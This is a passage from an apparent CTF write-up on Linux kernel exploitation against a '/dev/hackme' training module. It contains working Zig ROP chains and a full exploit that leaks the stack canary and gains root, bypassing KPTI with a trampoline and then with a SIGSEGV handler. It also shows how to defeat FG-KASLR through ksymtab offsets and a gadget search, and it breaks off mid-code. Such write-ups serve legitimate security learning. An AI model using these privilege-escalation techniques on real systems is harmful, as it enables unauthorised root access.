</span></span><span style="display:flex;"><span>vmlinux:	file format elf64-x86-64
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Disassembly of section .text:
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>ffffffff81000000 &lt;_stext&gt;:
</span></span><span style="display:flex;"><span>ffffffff81200f26: 48 89 e7             	movq	%rsp, %rdi
</span></span><span style="display:flex;"><span>ffffffff81200f29: 65 48 8b 24 25 04 60 00 00   	movq	%gs:0x6004, %rsp
</span></span><span style="display:flex;"><span>ffffffff81200f32: ff 77 30             	pushq	0x30(%rdi)
</span></span><span style="display:flex;"><span>ffffffff81200f35: ff 77 28             	pushq	0x28(%rdi)
</span></span><span style="display:flex;"><span>ffffffff81200f38: ff 77 20             	pushq	0x20(%rdi)
</span></span><span style="display:flex;"><span>ffffffff81200f3b: ff 77 18             	pushq	0x18(%rdi)
</span></span><span style="display:flex;"><span>ffffffff81200f3e: ff 77 10             	pushq	0x10(%rdi)
</span></span><span style="display:flex;"><span>ffffffff81200f41: ff 37                	pushq	(%rdi)
</span></span><span style="display:flex;"><span>ffffffff81200f43: 50                   	pushq	%rax
</span></span><span style="display:flex;"><span>ffffffff81200f44: eb 43                	jmp	0xffffffff81200f89 &lt;_stext+0x200f89&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>ffffffff81000000 &lt;_stext&gt;:
</span></span><span style="display:flex;"><span>ffffffff81200f89: 58                   	popq	%rax
</span></span><span style="display:flex;"><span>ffffffff81200f8a: 5f                   	popq	%rdi
</span></span><span style="display:flex;"><span>ffffffff81200f8b: ff 15 f7 f0 e3 00    	callq	*0xe3f0f7(%rip)         # 0xffffffff82040088
</span></span><span style="display:flex;"><span>ffffffff81200f91: ff 25 e9 f0 e3 00    	jmpq	*0xe3f0e9(%rip)         # 0xffffffff82040080
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>ffffffff8146d4e0 &lt;.text.native_swapgs&gt;:
</span></span><span style="display:flex;"><span>ffffffff8146d4e0: 55                   	pushq	%rbp
</span></span><span style="display:flex;"><span>ffffffff8146d4e1: 48 89 e5             	movq	%rsp, %rbp
</span></span><span style="display:flex;"><span>ffffffff8146d4e4: 0f 01 f8             	swapgs
</span></span><span style="display:flex;"><span>ffffffff8146d4e7: 5d                   	popq	%rbp
</span></span><span style="display:flex;"><span>ffffffff8146d4e8: c3                   	retq
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>ffffffff81000000 &lt;_stext&gt;:
</span></span><span style="display:flex;"><span>ffffffff81200f46: 0f 20 df             	movq	%cr3, %rdi
</span></span><span style="display:flex;"><span>ffffffff81200f49: eb 34                	jmp	0xffffffff81200f7f &lt;_stext+0x200f7f&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>ffffffff81000000 &lt;_stext&gt;:
</span></span><span style="display:flex;"><span>ffffffff81201067: 48 81 cf 00 10 00 00 	orq	$0x1000, %rdi           # imm = 0x1000
</span></span><span style="display:flex;"><span>ffffffff8120106e: 0f 22 df             	movq	%rdi, %cr3
</span></span><span style="display:flex;"><span>ffffffff81201071: 58                   	popq	%rax
</span></span><span style="display:flex;"><span>ffffffff81201072: ff 15 10 f0 e3 00    	callq	*0xe3f010(%rip)         # 0xffffffff82040088
</span></span><span style="display:flex;"><span>ffffffff81201078: 5f                   	popq	%rdi
</span></span><span style="display:flex;"><span>ffffffff81201079: 48 89 c4             	movq	%rax, %rsp
</span></span><span style="display:flex;"><span>ffffffff8120107c: 58                   	popq	%rax
</span></span><span style="display:flex;"><span>ffffffff8120107d: e9 45 ff ff ff       	jmp	0xffffffff81200fc7 &lt;_stext+0x200fc7&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>ffffffff81000000 &lt;_stext&gt;:
</span></span><span style="display:flex;"><span>ffffffff81200fc7: 48 cf                	iretq</span></span></code></pre></div>

<p><a id="code-snippet--kpti"></a></p>





  
  
    

  
  
    









<details open>
  
  <summary>Zig</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-zig" data-lang="zig"><span style="display:flex;"><span><span style="color:#b6a0ff">const</span> POP_RDI<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xffffffff8196258d</span>;
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">const</span> MOV_RDI_RAX_POP_RBP<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xffffffff816bf203</span>;
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">const</span> KPTI_TRAMPOLINE<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xffffffff81200f26</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">const</span> PREPARE_KERNEL_CRED<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xffffffff814c67f0</span>;
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">const</span> COMMIT_CREDS<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xffffffff814c6410</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">ropchain</span>(writer<span style="color:#00d3d0">:</span> anytype) <span style="color:#00d3d0">!</span><span style="color:#6ae4b9">void</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">try</span> writer.<span style="color:#feacd0">writeAll</span>(std.mem.<span style="color:#feacd0">asBytes</span>(<span style="color:#00d3d0">&amp;</span>[_]<span style="color:#6ae4b9">u64</span>{
</span></span><span style="display:flex;"><span>        POP_RDI,
</span></span><span style="display:flex;"><span>        <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>        PREPARE_KERNEL_CRED,
</span></span><span style="display:flex;"><span>        MOV_RDI_RAX_POP_RBP,
</span></span><span style="display:flex;"><span>        <span style="color:#00bcff">0</span>, <span style="color:#a8a8a8">// junk
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>        COMMIT_CREDS,
</span></span><span style="display:flex;"><span>        KPTI_TRAMPOLINE,
</span></span><span style="display:flex;"><span>        <span style="color:#00bcff">0</span>, <span style="color:#a8a8a8">// junk
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>        <span style="color:#00bcff">0</span>, <span style="color:#a8a8a8">// junk
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>        user_rip,
</span></span><span style="display:flex;"><span>        user_cs,
</span></span><span style="display:flex;"><span>        user_rflags,
</span></span><span style="display:flex;"><span>        user_rsp,
</span></span><span style="display:flex;"><span>        user_ss,
</span></span><span style="display:flex;"><span>    }));
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>whoami: unknown uid 1000
</span></span><span style="display:flex;"><span>[INFO] Saved state
</span></span><span style="display:flex;"><span>[INFO] Canary: 0xeabc83c7a6ad8500
</span></span><span style="display:flex;"><span>[INFO] You won!!
</span></span><span style="display:flex;"><span>whoami: unknown uid 0</span></span></code></pre></div>

<h4 id="alternate-solve-signal-handlers">Alternate solve: Signal Handlers</h4>
<p>The SMEP+SMAP solve will segfault in userland when KPTI is enabled; instead of using a KPTI trampoline to switch to userland page tables, we can register a signal handler (in userland) for <code>SIGSEGV</code> and the kernel will do the switch for us.</p>
<p><a id="code-snippet--signal-full"></a></p>





  
  
    

  
  
    









<details open>
  
  <summary>Zig</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-zig" data-lang="zig"><span style="display:flex;"><span><span style="color:#b6a0ff">const</span> std <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">@import</span>(<span style="color:#79a8ff">&#34;std&#34;</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">export</span> <span style="color:#b6a0ff">var</span> user_rip<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">undefined</span>;
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">ret2win</span>(_<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">i32</span>) <span style="color:#feacd0">callconv</span>(.C) <span style="color:#6ae4b9">void</span> {
</span></span><span style="display:flex;"><span>    std.debug.<span style="color:#feacd0">print</span>(<span style="color:#79a8ff">&#34;[INFO] You won!!</span><span style="color:#79a8ff">\n</span><span style="color:#79a8ff">&#34;</span>, .{});
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> args <span style="color:#00d3d0">=</span> [_<span style="color:#00d3d0">:</span><span style="color:#00bcff">null</span>]<span style="color:#00d3d0">?</span>[<span style="color:#00d3d0">*:</span><span style="color:#00bcff">0</span>]<span style="color:#b6a0ff">const</span> <span style="color:#6ae4b9">u8</span>{<span style="color:#79a8ff">&#34;/usr/bin/whoami&#34;</span>};
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> env <span style="color:#00d3d0">=</span> [_<span style="color:#00d3d0">:</span><span style="color:#00bcff">null</span>]<span style="color:#00d3d0">?</span>[<span style="color:#00d3d0">*:</span><span style="color:#00bcff">0</span>]<span style="color:#6ae4b9">u8</span>{};
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">switch</span> (std.posix.<span style="color:#feacd0">execveZ</span>(<span style="color:#79a8ff">&#34;/usr/bin/whoami&#34;</span>, args[<span style="color:#00bcff">0</span>..args.len], env[<span style="color:#00bcff">0</span>..env.len])) {
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">else</span> <span style="color:#00d3d0">=&gt;</span> <span style="color:#b6a0ff">unreachable</span>,
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">catch_sigsegv</span>() <span style="color:#6ae4b9">void</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> sigact <span style="color:#00d3d0">=</span> std.posix.Sigaction{
</span></span><span style="display:flex;"><span>        .handler <span style="color:#00d3d0">=</span> .{ .handler <span style="color:#00d3d0">=</span> ret2win },
</span></span><span style="display:flex;"><span>        .mask <span style="color:#00d3d0">=</span> std.posix.empty_sigset,
</span></span><span style="display:flex;"><span>        .flags <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>    };
</span></span><span style="display:flex;"><span>    std.posix.<span style="color:#feacd0">sigaction</span>(std.posix.SIG.SEGV, <span style="color:#00d3d0">&amp;</span>sigact, <span style="color:#00bcff">null</span>);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">pub</span> <span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">main</span>() <span style="color:#00d3d0">!</span><span style="color:#6ae4b9">void</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#feacd0">catch_sigsegv</span>();
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    user_rip <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">@intFromPtr</span>(<span style="color:#00d3d0">&amp;</span>ret2win);
</span></span><span style="display:flex;"><span>    <span style="color:#feacd0">saveState</span>();
</span></span><span style="display:flex;"><span>    std.debug.<span style="color:#feacd0">print</span>(<span style="color:#79a8ff">&#34;[INFO] Saved state</span><span style="color:#79a8ff">\n</span><span style="color:#79a8ff">&#34;</span>, .{});
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> fd <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> std.posix.<span style="color:#feacd0">open</span>(<span style="color:#79a8ff">&#34;/dev/hackme&#34;</span>, .{ .ACCMODE <span style="color:#00d3d0">=</span> .RDWR }, <span style="color:#00bcff">0o660</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">defer</span> std.posix.<span style="color:#feacd0">close</span>(fd);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> canary <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> <span style="color:#feacd0">leakCanary</span>(fd);
</span></span><span style="display:flex;"><span>    std.debug.<span style="color:#feacd0">print</span>(<span style="color:#79a8ff">&#34;[INFO] Canary: 0x{s}</span><span style="color:#79a8ff">\n</span><span style="color:#79a8ff">&#34;</span>, .{std.fmt.<span style="color:#feacd0">bytesToHex</span>(<span style="color:#feacd0">bigEndianify</span>(<span style="color:#00bcff">8</span>, <span style="color:#f78fe7">@constCast</span>(std.mem.<span style="color:#feacd0">asBytes</span>(<span style="color:#00d3d0">&amp;</span>canary))), .lower)});
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> file <span style="color:#00d3d0">=</span> (std.fs.File{ .handle <span style="color:#00d3d0">=</span> fd }).<span style="color:#feacd0">writer</span>();
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">var</span> bw <span style="color:#00d3d0">=</span> std.io.<span style="color:#feacd0">bufferedWriter</span>(file);
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> writer <span style="color:#00d3d0">=</span> bw.<span style="color:#feacd0">writer</span>();
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">try</span> writer.<span style="color:#feacd0">writeByteNTimes</span>(<span style="color:#00bcff">0</span>, tmp_size);
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">try</span> writer.<span style="color:#feacd0">writeAll</span>(std.mem.<span style="color:#feacd0">asBytes</span>(<span style="color:#00d3d0">&amp;</span>canary));
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">try</span> writer.<span style="color:#feacd0">writeByteNTimes</span>(<span style="color:#00bcff">0</span>, (<span style="color:#00bcff">8</span><span style="color:#00d3d0">*</span><span style="color:#00bcff">3</span>));
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">try</span> <span style="color:#feacd0">ropchain</span>(writer);
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">try</span> bw.<span style="color:#feacd0">flush</span>();
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">unreachable</span>;
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>whoami: unknown uid 1000
</span></span><span style="display:flex;"><span>[INFO] Saved state
</span></span><span style="display:flex;"><span>[INFO] Canary: 0x10f9df0cd1e27500
</span></span><span style="display:flex;"><span>[INFO] You won!!
</span></span><span style="display:flex;"><span>whoami: unknown uid 0</span></span></code></pre></div>

<h3 id="kaslr">KASLR</h3>
<p>Time for the final challenge: <strong>fine-grained kernel address space layout randomization</strong> (FG-KASLR).</p>
<p>Unlike regular (K)ASLR, a single leak is not enough to find the addresses of all symbols&mdash;we must get more creative to find the addresses of certain parts of our payload.</p>
<p>Fortunately not all symbols are affected by the fine-grained (or function granular?) part of KASLR:</p>





  
  
    

  
  
    









<details open>
  
  <summary>Bash</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>cat /proc/kallsyms | grep -e <span style="color:#79a8ff">&#39;startup_64&#39;</span> -e <span style="color:#79a8ff">&#39;swapgs_restore_regs_and_return_to_usermode&#39;</span> -e <span style="color:#79a8ff">&#39;prepare_kernel_cred&#39;</span> -e <span style="color:#79a8ff">&#39;commit_creds&#39;</span></span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>ffffffff95200000 T startup_64
</span></span><span style="display:flex;"><span>ffffffff95200030 T secondary_startup_64
</span></span><span style="display:flex;"><span>ffffffff952001f0 T __startup_64
</span></span><span style="display:flex;"><span>ffffffff95400f10 T swapgs_restore_regs_and_return_to_usermode
</span></span><span style="display:flex;"><span>ffffffff95987a80 T commit_creds
</span></span><span style="display:flex;"><span>ffffffff95b00e00 T prepare_kernel_cred
</span></span><span style="display:flex;"><span>ffffffff96187d90 r __ksymtab_commit_creds
</span></span><span style="display:flex;"><span>ffffffff9618d4fc r __ksymtab_prepare_kernel_cred
</span></span><span style="display:flex;"><span>ffffffff961a0972 r __kstrtab_commit_creds
</span></span><span style="display:flex;"><span>ffffffff961a09b2 r __kstrtab_prepare_kernel_cred
</span></span><span style="display:flex;"><span>ffffffff961a4d42 r __kstrtabns_prepare_kernel_cred
</span></span><span style="display:flex;"><span>ffffffff961a4d42 r __kstrtabns_commit_creds</span></span></code></pre></div>






  
  
    

  
  
    









<details open>
  
  <summary>Bash</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#a8a8a8"># reboot and run again</span>
</span></span><span style="display:flex;"><span>cat /proc/kallsyms | grep -e <span style="color:#79a8ff">&#39;startup_64&#39;</span> -e <span style="color:#79a8ff">&#39;swapgs_restore_regs_and_return_to_usermode&#39;</span> -e <span style="color:#79a8ff">&#39;prepare_kernel_cred&#39;</span> -e <span style="color:#79a8ff">&#39;commit_creds&#39;</span></span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>ffffffff90000000 T startup_64
</span></span><span style="display:flex;"><span>ffffffff90000030 T secondary_startup_64
</span></span><span style="display:flex;"><span>ffffffff900001f0 T __startup_64
</span></span><span style="display:flex;"><span>ffffffff90200f10 T swapgs_restore_regs_and_return_to_usermode
</span></span><span style="display:flex;"><span>ffffffff90741cf0 T commit_creds
</span></span><span style="display:flex;"><span>ffffffff908b7880 T prepare_kernel_cred
</span></span><span style="display:flex;"><span>ffffffff90f87d90 r __ksymtab_commit_creds
</span></span><span style="display:flex;"><span>ffffffff90f8d4fc r __ksymtab_prepare_kernel_cred
</span></span><span style="display:flex;"><span>ffffffff90fa0972 r __kstrtab_commit_creds
</span></span><span style="display:flex;"><span>ffffffff90fa09b2 r __kstrtab_prepare_kernel_cred
</span></span><span style="display:flex;"><span>ffffffff90fa4d42 r __kstrtabns_prepare_kernel_cred
</span></span><span style="display:flex;"><span>ffffffff90fa4d42 r __kstrtabns_commit_creds</span></span></code></pre></div>






  
  
    

  
  
    









<details open>
  
  <summary>Python</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>ksyms1 <span style="color:#00d3d0">=</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#00bcff">0xffffffff95200000</span>: <span style="color:#79a8ff">&#34;startup_64&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#00bcff">0xffffffff95200030</span>: <span style="color:#79a8ff">&#34;secondary_startup_64&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#00bcff">0xffffffff952001f0</span>: <span style="color:#79a8ff">&#34;__startup_64&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#00bcff">0xffffffff95400f10</span>: <span style="color:#79a8ff">&#34;swapgs_restore_regs_and_return_to_usermode&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#00bcff">0xffffffff95987a80</span>: <span style="color:#79a8ff">&#34;commit_creds&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#00bcff">0xffffffff95b00e00</span>: <span style="color:#79a8ff">&#34;prepare_kernel_cred&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#00bcff">0xffffffff96187d90</span>: <span style="color:#79a8ff">&#34;__ksymtab_commit_creds&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#00bcff">0xffffffff9618d4fc</span>: <span style="color:#79a8ff">&#34;__ksymtab_prepare_kernel_cred&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#00bcff">0xffffffff961a0972</span>: <span style="color:#79a8ff">&#34;__kstrtab_commit_creds&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#00bcff">0xffffffff961a09b2</span>: <span style="color:#79a8ff">&#34;__kstrtab_prepare_kernel_cred&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#00bcff">0xffffffff961a4d42</span>: <span style="color:#79a8ff">&#34;__kstrtabns_prepare_kernel_cred&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#00bcff">0xffffffff961a4d42</span>: <span style="color:#79a8ff">&#34;__kstrtabns_commit_creds&#34;</span>,
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>ksyms2 <span style="color:#00d3d0">=</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#00bcff">0xffffffff90000000</span>: <span style="color:#79a8ff">&#34;startup_64&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#00bcff">0xffffffff90000030</span>: <span style="color:#79a8ff">&#34;secondary_startup_64&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#00bcff">0xffffffff900001f0</span>: <span style="color:#79a8ff">&#34;__startup_64&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#00bcff">0xffffffff90200f10</span>: <span style="color:#79a8ff">&#34;swapgs_restore_regs_and_return_to_usermode&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#00bcff">0xffffffff90741cf0</span>: <span style="color:#79a8ff">&#34;commit_creds&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#00bcff">0xffffffff908b7880</span>: <span style="color:#79a8ff">&#34;prepare_kernel_cred&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#00bcff">0xffffffff90f87d90</span>: <span style="color:#79a8ff">&#34;__ksymtab_commit_creds&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#00bcff">0xffffffff90f8d4fc</span>: <span style="color:#79a8ff">&#34;__ksymtab_prepare_kernel_cred&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#00bcff">0xffffffff90fa0972</span>: <span style="color:#79a8ff">&#34;__kstrtab_commit_creds&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#00bcff">0xffffffff90fa09b2</span>: <span style="color:#79a8ff">&#34;__kstrtab_prepare_kernel_cred&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#00bcff">0xffffffff90fa4d42</span>: <span style="color:#79a8ff">&#34;__kstrtabns_prepare_kernel_cred&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#00bcff">0xffffffff90fa4d42</span>: <span style="color:#79a8ff">&#34;__kstrtabns_commit_creds&#34;</span>,
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>diff <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>
</span></span><span style="display:flex;"><span>invariants <span style="color:#00d3d0">=</span> []
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">for</span> ((addr1, sym), addr2) <span style="color:#00d3d0">in</span> <span style="color:#f78fe7">zip</span>(ksyms1<span style="color:#00d3d0">.</span>items(), ksyms2<span style="color:#00d3d0">.</span>keys()):
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">if</span> sym <span style="color:#00d3d0">==</span> <span style="color:#79a8ff">&#34;startup_64&#34;</span>:
</span></span><span style="display:flex;"><span>        diff <span style="color:#00d3d0">=</span> addr1<span style="color:#00d3d0">-</span>addr2
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">else</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">if</span> (addr1<span style="color:#00d3d0">-</span>addr2) <span style="color:#00d3d0">==</span> diff:
</span></span><span style="display:flex;"><span>            invariants<span style="color:#00d3d0">.</span>append(sym)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f78fe7">print</span>(<span style="color:#79a8ff">f</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">{</span>invariants<span style="color:#79a8ff">}</span><span style="color:#79a8ff"> left invariant under FG-KASLR&#34;</span>)</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>[&#39;secondary_startup_64&#39;, &#39;__startup_64&#39;, &#39;swapgs_restore_regs_and_return_to_usermode&#39;, &#39;__ksymtab_commit_creds&#39;, &#39;__ksymtab_prepare_kernel_cred&#39;, &#39;__kstrtab_commit_creds&#39;, &#39;__kstrtab_prepare_kernel_cred&#39;, &#39;__kstrtabns_commit_creds&#39;] left invariant under FG-KASLR</span></span></code></pre></div>

<p><kbd>prepare_kernel_cred</kbd> and <kbd>commit_creds</kbd> are affected by FG-KASLR, but the KPTI trampoline, <kbd>__ksymtab_commit_creds</kbd> and <kbd>__ksymtab_prepare_kernel_cred</kbd> are fine.</p>
<p>What is <kbd>__ksymtab</kbd>?
There needs to be some way for kernel modules to be able to see symbols exported by the kernel or other kernel modules, so <a href="https://elixir.bootlin.com/linux/v5.9-rc6/source/include/linux/export.h#L72-L76">ksymtab</a> is a struct (<strong>which has an address that is a fixed offset from the kernel base address</strong>) that stores information about a symbol, such as the address offset relative to the corresponding ksymtab struct.<sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup>
So if we get the address of <kbd>__ksymtab_commit_creds</kbd> and then add <kbd>__ksymtab_commit_creds.value_offset</kbd><sup id="fnref:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup> to it, we get the address of <kbd>commit_creds</kbd>.</p>
<p>With that in mind, let&rsquo;s find gadgets to build our payload (restricting our search to the beginning of the kernel which, as we observed earlier, is not affected by FG-KASLR, just regular KASLR).</p>





  
  
    

  
  
    









<details open>
  
  <summary>Bash</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>ropr --range<span style="color:#00d3d0">=</span>0xffffffff81000000-0xffffffff81400dc6 -R <span style="color:#79a8ff">&#39;^(pop rdi;|pop rax;|pop rbx;|pop rdx;|push rax;|mov eax, \[rax+.{3,5}\]; .*|add (r|e)ax, (r|e)di;) ret;&#39;</span> vmlinux</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>0xffffffff81004aae: mov eax, [rax+0x10]; pop rbp; ret;
</span></span><span style="display:flex;"><span>0xffffffff81004d11: pop rax; ret;
</span></span><span style="display:flex;"><span>0xffffffff81006123: push rax; ret;
</span></span><span style="display:flex;"><span>0xffffffff810075d0: pop rbx; ret;
</span></span><span style="display:flex;"><span>0xffffffff81007616: pop rdx; ret;
</span></span><span style="display:flex;"><span>0xffffffff8100767c: pop rdi; ret;
</span></span><span style="display:flex;"><span>0xffffffff8100dad3: mov eax, [rax+0xe0]; pop rbp; shr eax, 1; and eax, 1; ret;
</span></span><span style="display:flex;"><span>0xffffffff81012551: add rax, rdi; ret;
</span></span><span style="display:flex;"><span>0xffffffff81012552: add eax, edi; ret;</span></span></code></pre></div>

<p>I couldn&rsquo;t find a way to move the result of <kbd>prepare_kernel_cred(0)</kbd> into <code>rdi</code> with the gadgets we have to work with, so I opted to split the payload into 2 pieces.</p>
<p><a id="code-snippet--kaslr"></a></p>





  
  
    

  
  
    









<details open>
  
  <summary>Zig</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-zig" data-lang="zig"><span style="display:flex;"><span><span style="color:#b6a0ff">var</span> POP_RDI<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xffffffff8100767c</span>;
